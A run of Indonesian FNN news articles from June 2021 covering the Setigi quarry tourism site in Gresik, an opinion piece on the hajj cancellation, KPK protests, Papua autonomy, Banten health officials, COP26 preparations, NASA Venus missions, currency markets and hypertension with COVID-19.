Jakarta, FNN - Bising, polusi, panas, dan kerusakan alam adalah beberapa kata atau hal yang terpikirkan ketika mendengar istilah daerah tambang. Tapi bisa jadi hal tersebut memang nyata, karena mayoritas situasi pertambangan memang bising hingga penuh dengan polusi. Tentang kerusakan alam? sedikit banyak pasti terjadi, tetapi upaya pencegahan dan reboisasi kerap dilakukan sebagai upaya mengembalikan keseimbangan alam. Area bekas tambang selalu menjadi konsentrasi yang dilakukan untuk menyeimbangkan kembali fungsinya. Satu kisah keberhasilan pengelolaan area bekas tambang datang dari timur Jawa. Tepatnya di Kabupaten Gresik, tepatnya Desa Sekapuk. Dengan pengelolaan yang matang dan terkonsep, Desa Sekapuk mampu memberikan nilai tambah dari fungsi bekas tambang kapur, yang di sebelahnya bahkan masih aktif sampai sekarang. Penambahan nilai tersebut dengan memoles tebing bekas tambang kapur, menjadi wisata yang eksotis dan mengundang para pecinta panorama untuk sekadar melukis keindahannya ke dalam perangkat digital. Dari keuntungan wisata Setigi di Desa Sekapuk mampu mengumpulkan pundi uang secara mandiri senilai lebih dari Rp2,5 miliar per tahun. Aktor intelektual di balik pesatnya pendapatan BUMDes tersebut adalah seorang mantan nakhoda, Abdul Halim. Abdul Halim kini menjabat sebagai Kepala Desa Sekapuk. “Misi saya awalnya adalah tidak ingin ada pengangguran di desa saya,” kata Abdul ketika bercerita kepada Antara. Abdul Halim, seorang visioner bagi Desa Sekapuk. Ia tidak pernah berkampanye ataupun bahkan terjun ke jalur politik. Ia menceritakan awalnya area wisata Setigi adalah kumpulan sampah yang menggunung karena tidak terurus bahkan menjadi pembuangan sampah liar hingga bergunung-gunung menutup tebing. Satu ketika, ia mengajak masyarakat desa untuk menjadikan area tersebut bersih dan menjadi tempat wisata. Perlu bertahun-tahun untuk mengajak masyarakat turut peduli. Bahkan, ia juga gagal meyakinkan pemerintah daerah untuk mendapatkan suntikan tambahan anggaran pada awalnya. Tawaran Saham Untuk membentuk wisata yang maksimal tentu saja membutuhkan biaya yang tidak murah, padahal tidak mungkin untuk menguras kas desa. Karena itu Abdul Halim berinisiatif mendirikan badan usaha milik desa (BUMDe)s dengan skema kepemilikan saham bagi para pembeli modal. Sistem bagi hasil ia tawarkan kepada warga yang ingin menyumbangkan modal awal, agar besaran modal dan besaran keuntungan tertata dengan jelas. “Awalnya saya hanya mengajak beberapa orang untuk menyumbangkan dananya, namun lama kelamaan saya mulai memikirkan konsep saham saja, agar tidak memberatkan yang memberikan sumbangan,” kata Abdul. Dari modal masyarakat tersebut Abdul mengolah gunungan sampah yang tertimbun di bekas tambang kapur dan pasir menjadi wisata konsep danau dan tebing sebagai ajang rekreasi dan swafoto. Danau buatan ia sajikan dengan tambahan air terjun di antara celah batuan. Untuk memberikan pengalaman langsung para pengunjung, ia tempatkan sepeda air khas dengan bentuk bebek dan lainnya menjadi salah satu wahana andalan di Wisata Setigi. Nama Setigi memliki kepanjangan Selo Tirto Giri, istana batu kapur merupakan sajian utama dari wisata ini. Setiap sudut nyaris menjadi obyek menarik buat foto. Sedikit, naik ke atas bukit kapur maka pengunjung akan disajikan cakrawala senja yang merayu mata pada sore hari. Hamparan istana kapur lengkap dengan sudut misterinya akan menjadi dimensi sendiri bagi penikmat panorama. Desa Sekapuk, Kabupaten Gresik, Jawa Timur, juga meraih juara 1 sebagai desa brilian se-Indonesia dalam Program Inkubasi BRIncubator Goes to Desa Brilian. "Alhamdulillah, kami meraih juara 1 se-Indonesia sebagai desa brilian Tahun 2020. Semoga ke depan makin sukses bersama, terima kasih semuanya," ucap Kepala Desa Sekapuk Abdul Halim yang khas dengan gondrong dan jenggot lebatnya. Penyerahan penghargaan dilakukan oleh Menteri Desa Pembangunan Daerah Tertinggal dan Transmigrasi (PDTT) Abdul Halim Iskandar. Desa Sekapuk, Kecamatan Ujungpangkah, meraih predikat desa brilian se-Indonesia setelah melalui seleksi dari 531 usulan Desa Tangguh dan Inovatif, kemudian diambil 10 desa sebagai Pemenang Desa Brilian 2020. Abdul juga mengatakan bahwa ia akan mengembangkan lagi wisata di kawasan Sekapuk, diantaranya wisata Agro, wisata religi dan juga ekonomi kreatif desa yang siap dikembangkan. Warga sendiri menyambut baik prestasi dan kondisi desanya. Ani selaku sekretaris Kepala Desa Sekapuk mengatakan bangga memiliki desa yang menjadi rujukan wisata. Ia berharap pengembangan selanjutnya adalah warga memiliki usaha penginapan sekitar agar pengunjung bisa menikmati wisata sembari beristirahat di desa tersebut. Pada akhirnya, Pemprov pun terkesima dengan capaian tersebut dan memberikan beberapa apresiasi. Pemprov Jatim membantu pengembangan Desa Wisata Setigi di Desa Sekapuk, Gresik, dengan mengucurkan dana Rp50 juta untuk penguatan ekonomi desa serta solidaritas sosial dan ketahanan masyarakat perdesaan. "Kami berharap ini bisa terus dikembangkan karena areanya masih luas dan bisa ditambah spesifikasi baru serta disulap menjadi lebih indah lagi untuk membantu perekonomian warga," kata Gubernur Jatim Khofifah Indar Parawansa. Khofifah mengatakan lokasi wisata Setigi menjadi contoh karena mengubah area pascatambang menjadi lokasi wisata dan mempunyai nilai ekonomi bagi masyarakat. "Efeknya sangat luar biasa. Keterlibatan RT dan PKK bisa menguatkan ekonomi, penguatan solidaritas sosial, dan penguatan ketahanan bagi masyarakat Desa Sekapuk," katanya. Rencananya, dana pengembangan akan dipakai untuk membangun sejumlah fasilitas tambahan seperti kolam renang, rumah makan, arena out bond, cafe di dalam gua, serta museum.

Pembatalan Keberangkatan Jamaah Haji Indonesia

by Imam Shamsi Ali New York, FNN - Satu hal lagi yang bagi saya cukup mengejutkan dari negeri tercinta. Yaitu pembatalan keberangkatan jamaah haji secara totalitàs oleh pemerintah Indonesia. Hal itu disampaikan dalam konferensi pers Menteri Agama yang disampaikan kemarin, 2 Juni 2021. Pengumuman pembatalan itu menimbulkan reaksi yang ragam dari masyarakat luas. Tentu dengan ragam pula penafsiran, asumsi, bahkan berbagai spekulasi berkembang begitu cepat. Tidak mengagetkan tentunya karena memang kita hidup dalam era keterbukaan informasi yang berkarakter kecepatan (speed). Sebagian menafsirkan bahwa pembatalan itu karena memang Saudi Arabia tidak menerima warga Indonesia yang memakai vaksin Sinovac. Konon Saudi hingga saat ini hanya menerima pendatang yang telah divaksin Pfizer atau Moderna. Sebagian yang lain menafsirkan berdasarkan rumor yang berkembang selama ini bahwa dana haji yang tersimpan di bank-bank akan dipakai sementara untuk pembangunan infra struktur. Sehingga uang muka (DP) pembayaran ONH, untuk hotel misalnya, memang belum ditunaikan oleh pemerintah Indonesia. Pertanyaan memang menukik di sekitar siapa sesungguhnya di balik pembatalan ini. Apakah memang Saudi yang tidak menerima jamaah Haji Indonesia karena alasan tertentu, sehingga pemerintah Indonesia harus membatalkan pemberangkatan jamaah? Atau karena memang Indonesia sendiri yang secara sepihak membatalkan pemberangkatan jamaah di tahun ini? Belakangan kita mendapatkan informasi yang lebih jelas bahwa pembatalan ini dilakukan secara sepihak oleh pemerintah Indonesia dengan alasan utama menjaga atau melindungi jamaah Indonesia dari bahaya Pandemi Covid 19. Alasan ini kemudian diperkuat dengan alasan pendukung lainnya. Salah satunya adalah bahwa hingga kini pihak Saudi Arabia belum mengajak pemerintah Indonesia untuk menanda tangani kontrak pengelolaan haji tahun 2021. Sehingga waktu persiapan untuk memberangkatkan jamaah Haji semakin mendesak (sempit). Melihat kepada beberapa argumentasi atau alasan yang disampaikan pemerintah Indonesia (Depag) sejujurnya saya melihatnya sangat lemah, bahkan maaf kalau terasa diada-ada dan dipaksakan. Pertama, masalah menjaga atau melindungi jamaah selama di Saudi dari Covid 19 itu menjadi tanggung jawab pertama dan terutama pihak Saudi. Kalau sekiranya memang akan menimbulkan ancaman terhadap kesehatan/keselamatan jamaah, pastinya Saudi belum akan membuka kesempatan berhaji ini untuk siapa saja. Kenyataannya Saudi membuka kesempatan itu walau dengan pembatasan. Kedua, kalau Indonesia memutuskan pembatalan saat ini karena alasan keselamatan jamaah di Saudi selama haji, kenapa negara-negara lain tidak ada yang melakukan? Bahkan yang saya dengar di saat Covid di Malaysia masih tinggi saat ini justeru negeri jiran itu mendapat tambahan 10.000 quota dari pemerintah Saudi Arabia. Ketiga, kalau alasannya karena pemerintah Indonesia belum diajak membicarakan/menanda tangani kontrak pelaksanan haji hingga kini, sehingga merasa waktu persiapan semakin mendesak juga bukan alasan yang kuat. Emangnya negara-negara lain semua Sudah diajak bicara dengan Saudi? Dan kalau sudah kenapa pemerintah Indonesia saja yang belum diajak? Selain itu kalaupun belum diajak bicara atau menandatangani kontrak pengelolaan haji dengan pihak Saudi, persiapan seharusnya tetap dilakukan. Toh memang itu tugas pemerintah (Depag/Dirjen Haji). Sehingga tidak harus menunggu hingga ada pembicaraan dengan pihak Saudi. Kalau benar bahwa hanya Indonesia yang belum diajak bicara atau menandatangani kontrak pemberangkatan Haji, ini dapat menguatkan kecurigaan jangan-jangan memang ada kewajiban administrasi yang belum diselesaikan oleh pihak Indonesia. Selain itu kita juga dengarkan adanya alasan syar’i (agama) yang disampaikan. Seolah pembatalan ini justified (sah) karena melindungi diri dari marabahaya itu lebih penting dari pelaksanaan ritual. Dalam hal ini “hifzul hayaah” (menjaga kehidupan) didahulukan dari “hifzud diin” (menjaga pelaksanaan agama). Argumentasi ini lemah dan dipertanyakan. Karena sekali kalau kekhawatiran itu ada di Saudi, Kenapa jamaah dari negara lain tidak masuk dalam kategori alasan syar’i ini? Saya agak terkejut dan kecewa ketika tampak MUI mendukung argumentasi ini. Intinya pembatalan ini sangat “insensible” (tidak sensitif). Tidak sensitif dengan perasaan jamaah, yang berharap akan berangkat tahun ini. Bahkan lebih dari itu terasa kurang sensitif dengan wibawa bangsa yang seolah dikesampingkan dalam perhelatan Umat yang paling global ini. Saya sebenarnya berharap bukan pembatalan yang dilakukan. Tapi pemerintah menunjukkan bahwa Indonesia itu punya suara, didengar, bahkan punya pemikiran-pemikiran dan kontribusi dalam pelaksanaan ibadah haji yang lebih nyaman dan aman. Ibadah Haji adalah ibadah yang menjadi simbolisasi tabiat global keumatan. Memberangkatkan jamaah, walau hanya dalam jumlah terbatas sesuai kapasitas yang yang diperbolehkan, menjadi simbol ikatan global Umat dan wihdah Islamiyah ini. Wallahu a’lam! Penulis adalah Imam Masjid Iskamic Center New York

Gerakan Rakyat Antikorupsi Kalbar Tolak Pelemahan KPK

Pontianak, FNN - Gerakan Rakyat Antikorupsi (Gertak) Kalimantan Barat melakukan Aksi Kamisan di Bundaran Tugu Digulis Untan, Pontianak, untuk menolak adanya dugaan upaya pelemahan Komisi Pemberantasan Korupsi (KPK) dalam bentuk apa pun. "Saat ini kami melaksanakan aksi untuk menjunjung tinggi keadilan sosial bagi masyarakat yang ingin sekali korupsi bisa dilenyapkan dari Indonesia, serta kami juga menyampaikan tuntutan menolak upaya pelemahan KPK dan menuntut komitmen Presiden dalam memberantas praktik korupsi di Indonesia," kata Korlap Gertak, Jimmy Abraham, di Pontianak, Kamis. Dalam aksinya, Gertak Kalbar menuntut atau menolak upaya pelemahan KPK, menuntut komitmen Presiden Joko Widodo dalam pemberantasan korupsi, menuntut Ketua KPK menghentikan polemik internal dan fokus pada pencegahan, dan menghentikan kongkalikong politisi-KPK. "Kami dengan tegas menuntut dan menolak pelemahan KPK, karena secara internal dan eksternal akan memukul mundur upaya pemberantasan korupsi di Indonesia," katanya. Dia mengatakan TWK (Tes Wawasan Kebangsaan) merupakan tes yang jelas hasilnya mengundang permasalahan di publik, orang yang disingkirkan adalah mereka yang berusaha memberantas korupsi. "Jelas TWK tersebut merupakan tes yang menyingkirkan mereka yang berusaha memberantas korupsi, jumlah kasus yang ditangani datanya yang kami lihat di media yakni sebanyak 75 Pegawai KPK yang hari ini dikategorikan merah," ujar dia. Ia juga mengatakan saat ini KPK sedang mengalami permasalahan yang cukup pelik, mulai dari revisi UU KPK, isu rasisme dan gelombang aksi mahasiswa yang bertubi-tubi hingga saat ini ada 75 Pegawai KPK yang diuji dengan TWK, yang disinyalir menjadi metode aksi bersih-bersih dari oknum yang gerah dengan lembaga antirasuah itu. Hal tersebut dikarenakan adanya jalur eksternal menuju internal KPK dengan pelemahan demokrasi yang dilakukan menggunakan selubung legal formal, katanya lagi. "Setelah kalangan legislatif dan eksekutif menutup telinga dari teriakan penolakan revisi UU Nomor 30 Tahun 2002 menjadi UU Nomor 19 Tahun 2019, kini dihadapkan dampak revisi tersebut yang menimbulkan karut-marut Tes Wawasan Kebangsaan. Kini selubung legal formal kian tebal membelit langkah kaki para penegak hukum di KPK," katanya lagi. Dia menambahkan, aksi mereka tersebut merupakan komitmen solidaritas dengan tetap melihat perkembangan kasus dan isu yang ada di KPK, jika persoalan tersebut masih terus terjadi, Gertak Kalbar tetap berkomitmen dan mengawal dalam memberantas praktik korupsi di Indonesia. (ant)

Gugus Tugas Papua UGM Usulkan Reinstrumentasi Otsus Papua

Yogyakarta, FNN - Gugus Tugas Papua Universitas Gadjah Mada (GTP-UGM) mengusulkan reinstrumentasi Otonomi Khusus (Otsus) Papua mempertimbangkan masalah Papua yang dinilai pelik dan khusus. Ketua Gugus Tugas Papua UGM, Bambang Purwoko melalui keterangan tertulis di Yogyakarta, Kamis, menyebut ada tiga hal penting terkait usulan reinstrumentasi UU Otsus Papua. "Pertama, perluasan jangkauan otonomi khusus Papua hingga ke tingkat kabupaten/kota. Penyempurnaan ini penting untuk menjawab masalah otonomi khusus yang selama ini masih bersifat umum," kata dia. Menurut Bambang, perluasan jangkauan Otsus Papua penting untuk memastikan agar program itu dapat dirasakan oleh masyarakat hingga ke tingkat kampung. Kedua, lanjut Bambang, pengaturan penggunaan dana otsus agar bisa dinikmati masyarakat Papua. Caranya, disalurkan secara langsung kepada orang asli Papua (OAP) dalam bentuk Kartu Dana Otsus. "Kartu ini hanya bisa digunakan oleh OAP untuk belanja pendidikan, kesehatan, kebutuhan pangan, dan bahan bangunan perumahan," kata dia. Terkait pengaturan aspek keuangan, Bambang menekankan hendaknya UU Otsus juga mengatur pemanfaatan Dana Desa dan belanja Kementerian/Lembaga agar dilakukan secara sinergis dan terkoordinasi untuk pemenuhan kebutuhan dasar masyarakat. Ketiga, regulasi pengaturan pemekaran di Papua, baik provinsi maupun kabupaten/kota, kata dia, harus dibuat lebih spesifik. Menurut dia, pemekaran harus ditempatkan sebagai strategi percepatan pembangunan, peningkatan pelayanan publik, redistribusi kesejahteraan sosial, memuliakan adat, dan mengangkat harkat dan martabat OAP. "Pembentukan DOB (daerah otonomi baru) juga harus diikuti dengan penegasan Perdasus untuk menjamin adanya rekognisi, proteksi, afirmasi, dan akselerasi terhadap OAP," kata Bambang. Hal tersebut diungkapkan langsung oleh Bambang Purwoko dalam Rapat Dengar Pendapat Umum DPR RI terkait perubahan kedua atas UU Nomor 21 tahun 2001 tentang Otonomi Khusus Bagi Provinsi Papua pada Kamis (3/6). Bambang juga menekankan pentingnya pengawalan yang serius pada berbagai level, baik yang bersifat sistemik, manajerial, maupun teknis-operasional agar revisi UU Otsus Papua dapat membawa manfaat untuk kemajuan Papua. Ia menilai Otonomi Khusus Papua yang sudah berjalan 20 tahun masih menyisakan setumpuk keterbatasan. Di bidang politik, menurut dia, belum berjalan kebijakan tentang lambang daerah dan simbol kultural, pembentukan partai politik, pembentukan pengadilan HAM, pembentukan KKR, dan pengakuan peradilan adat. "Di bidang pemerintahan, Otsus tidak sepenuhnya memberikan kewenangan khusus. Banyak kebijakan lain yang melemahkan atau justru bertentangan dengan UU Otsus Papua. Otsus juga hanya memberikan kewenangan ke provinsi, tidak ke kabupaten/kota," tutur Bambang. Kemudian di bidang keamanan, Bambang menyebutkan jika Papua masih diselimuti konflik yang tidak pernah terselesaikan secara tuntas. Jumlah kasus kekerasan di Papua, menurut dia, bahkan terus meningkat dalam beberapa waktu terakhir. Sementara di bidang ekonomi, lanjutnya, kesempatan OAP untuk mendapatkan pekerjaan dan akesesibilitas sumber ekonomi hilang lantaran posisi tersebut diambil pendatang. Kondisi tersebut juga masih diperparah setumpuk persoalan keuangan daerah yaitu ketergantungan dana otsus serta rendahnya tata kelola keuangan daerah. Pada kesempatan itu, Bambang juga menekankan pentingnya instrumen khusus untuk mengatasi persoalan Papua yang pelik dan khusus. penyempurnaan UU Otsus Papua sangat mendesak sebagai solusi persoalan Papua. "Hal ini juga penting dimaknai sebagai ikhtiar mempertemukan agenda nasional dan daerah yang dengan semangat perubahan dan perbaikan pada level individu dan agen-agen pelaksananya," katanya. Bambang turut menekankan pentingnya penyempurnaan UU Otsus Papua yang dapat menyentuh dan menuntaskan persoalan mendasar yang selama ini dianggap sebagai sumber masalah. Misalnya, terkait ketidakjelasan batas kewenangan antartingkatan pemerintahan serta penuntasan kebijakan rekognisi, proteksi, afirmasi, dan akselerasi. (ant)

DPRD Banten Ingatkan Mundurnya 20 Pejabat Dinkes Tak Ganggu Pelayanan

Serang, FNN - DPRD Banten meminta Pemerintah Provinsi (Pemprov) Banten segera mengambil langkah-langkah sebagai upaya antisipasi, jangan sampai mundurnya 20 pejabat Dinas Kesehatan (Dinkes) Banten bisa mengganggu pelayanan masyarakat di tengah pandemi COVID-19. "Kalau memang itu benar-benar mundur dari jabatannya, Pemprov Banten segera mencari untuk penggantinya. Jangan sampai pelayanan masyarakat terganggu gara-gara persoalan ini. Apalagi saat ini Dinkes yang memiliki peranan penting di tengah pandemi COVID-19," kata Wakil Ketua DPRD Banten Budi Prayogo, di Serang, Kamis. Budi mengatakan, DPRD Banten meminta Pemprov Banten untuk segera menyelesaikan persoalan yang terjadi saat ini, terutama berkaitan dengan pelayanan masyarakat di tengah pandemi COVID-19 oleh Dinkes Banten. "Ya kalau memang dinonjobkan, segera mencari pejabat baru. Karena tidak mungkin program berjalan kalau tidak ada pejabatnya yang melaksanakan. Apalagi situasi saat ini masih pandemi," kata politisi PKS ini pula. Budi juga meminta ke depan agar pejabat di Dinkes Banten khususnya, membangun komunikasi yang baik antarpimpinan dengan bawahan, sehingga tercipta suasana organisasi dan kerja sama yang baik dalam memberikan pelayanan kepada masyarakat. Sekda Provinsi Banten Al Muktabar megatakan, pihaknya sudah meminta keterangan 20 pejabat yang menyatakan mengundurkan diri. Pihaknya sudah mendapatkan berbagai informasi serta alasan-alasan para pejabat tersebut mengundurkan diri. "Mereka alasannya berbeda-beda. Ini sedang kami analisa dan segera disampaikan kepada Pak Gubernur sebagai pejabat pembina kepegawaian di lingkungan Provinsi Banten," kata Al Muktabar. Menurutnya, keputusan untuk mundur sebagai pejabat adalah hak individu, karena memang ada aturan yang mengatur itu. Namun demikian, karena ini diajukan secara kolektif, maka pihakanya melakukan kroscek atau klarifikasi kepada masing-masing pejabat tersebut mengenai alasan mundurnya dari jabatan saat ini. (ant)

Indonesia Ingatkan Kembali Pentingnya "Paris Rule Book" Jelang COP26

Jakarta, FNN - Indonesia mengingatkan kembali perihal pentingnya penyelesaian “Paris Rule Book” guna menyukseskan perundingan iklim Conference of Parties 26 (COP26) di Glasgow, Inggris, pada 1-12 November 2021. Direktur Jenderal Pengendalian Perubahan Iklim KLHK Laksmi Dhewanthi selaku National Focal Point untuk UNFCCC Indonesia dalam keterangan persnya di Jakarta, Kamis, menyampaikan isu-isu krusial dibahas pada Bonn Climate Change Conference (BCCC) sebelum pelaksanaan COP26, antara lain penyelesaian Paris Rule Book, yakni pengaturan teknis Artikel 6 Pemufakatan Paris (Article 6 of the Paris Agreement). Selanjutnya, ia mengatakan terkait operasionalisasi pemenuhan sukarela yang ditentukan secara nasional (Nationally Determined Contribution/NDC) melalui mekanisme pasar dan non-pasar. Lalu isu krusial lainnya transparansi dalam penyusunan kerangka pelaporan aksi dan dukungan di bawah Pemusakatan Paris (Paris Agreement), kerangka waktu umum untuk NDC, inventarisasi global, dan pendanaan untuk adaptasi. Secara lebih detil, Laksmi mengatakan Indonesia mendorong finalisasi pembahasan agenda Article 6 Paris Agreement. Lalu mendorong pernyataan common time frame NDC dalam siklus 10 tahun dengan review pada tahun ke-5, dan juga mendorong agar pertemuan ini menjadi kesempatan untuk menguraikan modalitas terkait Common Reporting Table (CRT) untuk Inventarisasi GRK dan Common Reporting Format (CRF) untuk kemajuan dan dukungan NDC dalam agenda kerangka transparansi. Selanjutnya Indonesia juga menekankan agar komitmen negara maju dalam memobilisasi 100 miliar dolar AS setiap tahun sampai dengan tahun 2020 secara akuntabel, memadai, dan transparan dan menjadi dua kali lipat pada tahun 2025. Kemudian menekankan pentingnya elemen adaptasi yang harus diperlakukan secara seimbang dengan mitigasi dalam mengimplementasikan Pemufakatan Paris, dan mempercepat implementasi Koronivia Joint Work on Agriculture. Pelaksanaan BCCC atau dikenal dengan pertemuan Subsidiary Body for Scientific and Technological Advice (SBSTA) dan Subsidiary Body for Implementation (SBI) pada 2021 ini dinamai 2021 May-June Climate Change Conference. Pertemuan tersebut akan bersifat informal dan tidak ada pengambilan keputusan formal hingga Para Negara Pihak bertemu atau menghadiri pertemuan secara in-person kembali. Secara substansi, agenda pertemuan kali ini merefleksikan mandat yang harus dilaksanakan pada 2020 dan 2021 dan menyiapkan modalitas untuk perundingan COP 26 UNFCCC di Glasgow. Presiden COP 26 Alok Sharma dalam kesempatan yang sama mengatakan dunia sedang mengamati isu tersebut dan mendorong para pihak untuk menggunakan sesi BCCC untuk menghasilkan draft teks untuk dibawa ke COP26 untuk finalisasi dan adopsi. (ant)

NASA Siapkan Dua Misi untuk Pahami Kondisi Iklim Venus

Jakarta, FNN - NASA menyiapkan dua misi mereka, DAVINCI+ dan VERITAS untuk memahami bagaimana kondisi iklim Planet Venus dapat berubah seperti "neraka" padahal memiliki banyak kesamaan karakteristik seperti Bumi. “Kami menghidupkan kembali program sains planet kami dengan eksplorasi intens dunia yang belum pernah dikunjungi NASA selama lebih dari 30 tahun,” kata Administrator Asosiasi untuk Sains NASA Thomas Zurbuchen dalam keterangan pers dikutip dari situs NASA, Kamis (3/6). Badan Penerbangan dan Antariksa Nasional milik Amerika Serikat itu memilih misi Deep Atmosphere Venus Investigation of Noble gases, Chemistry, and Imaging (DAVINCI+), yang akan mengukur komposisi atmosfer Planet Venus untuk memahami bagaimana itu terbentuk dan berevolusi, serta menentukan apakah planet tersebut pernah memiliki laut. Selain itu, mereka juga akan menjalankan misi Venus Emissivity, Radio Science, InSAR, Topography dan Spectroscopy (VERITAS), yang akan memetakan permukaan Venus untuk menentukan sejarah geologi planet dan memahami kenapa itu terbentuk sangat berbeda dengan Bumi. NASA memberikan sekitar 500 juta dolar untuk pengembangan setiap misi tersebut. Masing-masing diharapkan dapat diluncurkan dalam jangka waktu 2028-2030. Zurbuchen mengatakan mereka menggunakan teknologi mutakhir yang telah dikembangkan dan disempurnakan NASA selama bertahun-tahun dalam misi dan program teknologi untuk memahami bagaimana planet yang mirip Bumi tersebut kini menjadi "rumah kaca". Misi tersebut bukan hanya memahami evolusi planet dan kelayakhuniannya di Tata Surya, tetapi lebih dari batasan itu hingga ke ekstrasurya, arena penelitian yang menarik dan baru muncul untuk NASA. Ilmuwan Program Discovery NASA Tom Wagner mengatakan mengejutkan bagaimana sedikit sekali mengetahui tentang Venus, tetapi hasil kombinasi dari misi tersebut akan memberitahu tentang planet tersebut dari mulai awan di langitnya hingga gunung-gungung api di permukaan hingga ke inti planet tersebut. "Itu akan seperti kita menemukan kembali planet tersebut," ujar Wagner. (ant)

Dolar Naik ke Level Tertinggi Tiga Minggu Terakhir

New York, FNN - Dolar AS naik ke level tertinggi tiga minggu pada akhir perdagangan Kamis (Jumat pagi WIB), didukung data pekerjaan AS yang lebih kuat dari perkiraan yang menunjukkan pasar tenaga kerja membaik dan memperkuat tanda-tanda bahwa ekonomi terbesar di dunia itu sedang menuju pemulihan dari krisis pandemi Covid-19. Greenback, yang sudah berada pada pijakan kuat menjelang laporan klaim pengangguran dan dan penggajian (payrolls) swasta, naik ke puncak tiga minggu terhadap euro dan ke tertinggi dua bulan terhadap yen. Angka penggajian swasta AS meningkat 978.000 pekerjaan pada Mei. Laporan Ketenagakerjaan Nasional ADP menunjukkan, kenaikan terbesar sejak Juni 2020. Para ekonom yang disurvei oleh Reuters memperkirakan angka penggajian swasta akan meningkat 650.000 pekerjaan. Pada saat yang sama, klaim pengangguran awal AS turun di bawah 400.000 minggu lalu untuk pertama kalinya sejak pandemi dimulai lebih dari setahun yang lalu. “Anda telah mendapat keuntungan dolar AS karena ekonomi di baliknya tampaknya keluar dari mode pandemi dan sekarang indikator memberi kita tanda-tanda momentum yang jelas,” kata Juan Perez, ahli strategi dan pedagang valas di Tempus Inc di Washington. Pedagang juga menunggu laporan data penggajian nonpertanian AS untuk Mei, yang akan dirilis pada Jumat waktu setempat, yang dapat mengatur nada pada pertemuan Federal Reserve bulan ini. Konsensus perkiraan para ekonom Wall Street untuk angka penggajian nonpertanian AS adalah 650.000 pekerjaan baru AS bulan lalu. “Keadaan pasar tenaga kerja AS tetap lebih tidak pasti dan tidak stabil dari biasanya karena muncul dari gangguan pandemi COVID yang belum pernah terjadi sebelumnya,” Matt Weller, kepala riset pasar global di FOREX.com dan City Index, mengatakan dalam sebuah catatan penelitian. “Fluktuasi bulan ke bulan dalam laporan ini sangat sulit diprediksi, jadi kami tidak akan memasukkan terlalu banyak perkiraan ke dalam perkiraan apa pun,” tambah Weller. Dalam perdagangan sore, indeks dolar, yang mengukur greenback terhadap enam mata uang, naik 0,7 persen menjadi 90,5040. Indeks mencapai tertinggi tiga minggu di 90,554 dan menemukan dukungan kuat di sekitar 89,946 dalam sesi terakhir setelah jatuh 2,0 persen pada April dan 1,6 persen lebih lanjut pada Mei. Euro, sementara itu, melemah 0,7 persen terhadap dolar menjadi 1,2123 dolar AS, setelah sebelumnya meluncur ke level terendah tiga minggu di 1,2118 dolar AS. Terhadap yen, dolar naik 0,6 persen menjadi 110,245 yen. Sebelumnya, greenback naik ke tertinggi dua bulan di 110,315 yen. The Fed juga mulai mengendurkan beberapa pembelian asetnya, yang menurut beberapa analis kemungkinan merupakan langkah pendahulu bank sentral yang akhirnya mengurangi pelonggaran kuantitatifnya. Pada Kamis (3/6/2021), The Fed New York mengatakan akan mulai secara bertahap menjual portofolio ETF (exchange-traded funds atau reksa dana berbentuk kontrak investasi kolektif yang unit penyertaannya diperdagangkan di Bursa Efek) yang berinvestasi dalam obligasi korporasi pada 7 Juni, langkah pertama dalam melepas kepemilikan obligasi korporasi yang diperoleh selama pandemi. Dalam berita mata uang lainnya, Rusia mengumumkan akan sepenuhnya menghapus aset dolar AS dari National Wealth Fund (NWF), sambil meningkatkan pangsa euro, yuan China, dan emas, menurut Menteri Keuangan Anton Siluanov pada Kamis (3/6/2021). Perubahan diharapkan dalam waktu satu bulan. Langkah itu tidak memiliki dampak langsung pada mata uang. (ant).

Hipertensi Rentan Terpapar Covid-19

Jakarta, FNN - Dokter spesialis jantung dan pembuluh darah dari Fakultas Kedokteran Universitas Padjajaran Badai Bhatara Tiksnadi menjelaskan alasan mereka dengan penyakit tak terkontrol rentan terkena COVID-19. "COVID-19 mudah menyerang orang dengan sistem imun lemah dan tekanan darah yang tinggi terutama kondisi yang menahun akan melemahkan sistem kekebalan tubuh, sehingga tubuh menjadi tidak sanggup menghadapi infeksi virus dan akhirnya terkena COVID-19," ujar dia dalam webinar kesehatan, Kamis. Badai mengatakan, data Satgas COVID-19 menunjukkan dari sekitar 1400-an pasien COVID-19, sebanyak 50 persen di antaranya mengalami hipertensi. Penyakit terkait tekanan darah di atas 140/90 mmHg ini bahkan menjadi komorbid terbanyak pada kasus COVID-19, diikuti obesitas, diabetes dan penyakit jantung. Pasien yang tekanan darahnya tidak terkontrol atau tidak diobati akan berisiko mengalami COVID-19 berat dan komplikasi dibandingkan mereka yang terkontrol. Kemudian, mereka bersama dengan penyandang penyakit jantung, diabetes, masalah ginjal dan obesitas juga mengalami angka kesakitan dan kematian yang tinggi akibat COVID-19. "Menurut pemantauan dan data, perburukan sangat cepat itu pada populasi ini. Data dari China, sekitar 2,7 kali lipat lebih tinggi (risiko perburukan) pada pasien risiko gemuk, hipertensi dan diabetes. Semakin banyak punya faktor risiko itu kemungkinan kematiannya semakin tinggi, kemungkinan alat bantu napas hingga 2 kali lipat," kata Badai yang merupakan salah satu dokter dari RSUD Dr. Hasan Sadikin, Bandung itu. Lalu apa yang bisa dilakukan bila pasien hipertensi terkena COVID-19? Badai menyarankan mereka tetap meminum obat sesuai petunjuk dokter, mengendalikan penyakit hipertensi mereka dan melakukan protokol kesehatan 5M yakni mengenakan masker, mencuci tangan rutin, menjaga jarak, mengurangi mobilitas dan menjauhi kerumunan. Terkait vaksin COVID-19, pasien hipertensi boleh divaksin asalkan tekanan darahnya di bawah 180/110 mmHg, tekanan darah stabil atau terkontrol dan tidak ada keluhan apapun. Hipertensi, saat tekanan darah di atas 140/90 mmHg awalnya tidak bergejala sehingga terkadang tak disadari. Penyakit ini baru bergejala setelah menyerang organ penting seperti pada otak bila stroke, jantung apabila terkena serangan jantung dan pembuluh darah yang menyumbat. Badai mengingatkan Anda agar jangan sampai terkena hipertensi dengan melakukan sejumlah pencegahan salah satunya menerapkan gaya hidup sehat. "Ini tidak bisa kembali. Makanya mencegah itu penting dan bukan hanya buat kita, kalau sudah stroke yang menderita anak, keluarga kita. Kalau serangan jantung fatal, tiba-tiba meninggal, siapa yang mencari nafkah. Tolong cegah, cegah, cegah itu sangat penting," demikian kata Badai. (ant)

Harga Minyak Sedikit Terkikis Setelah Laporan Persediaan AS Beragam

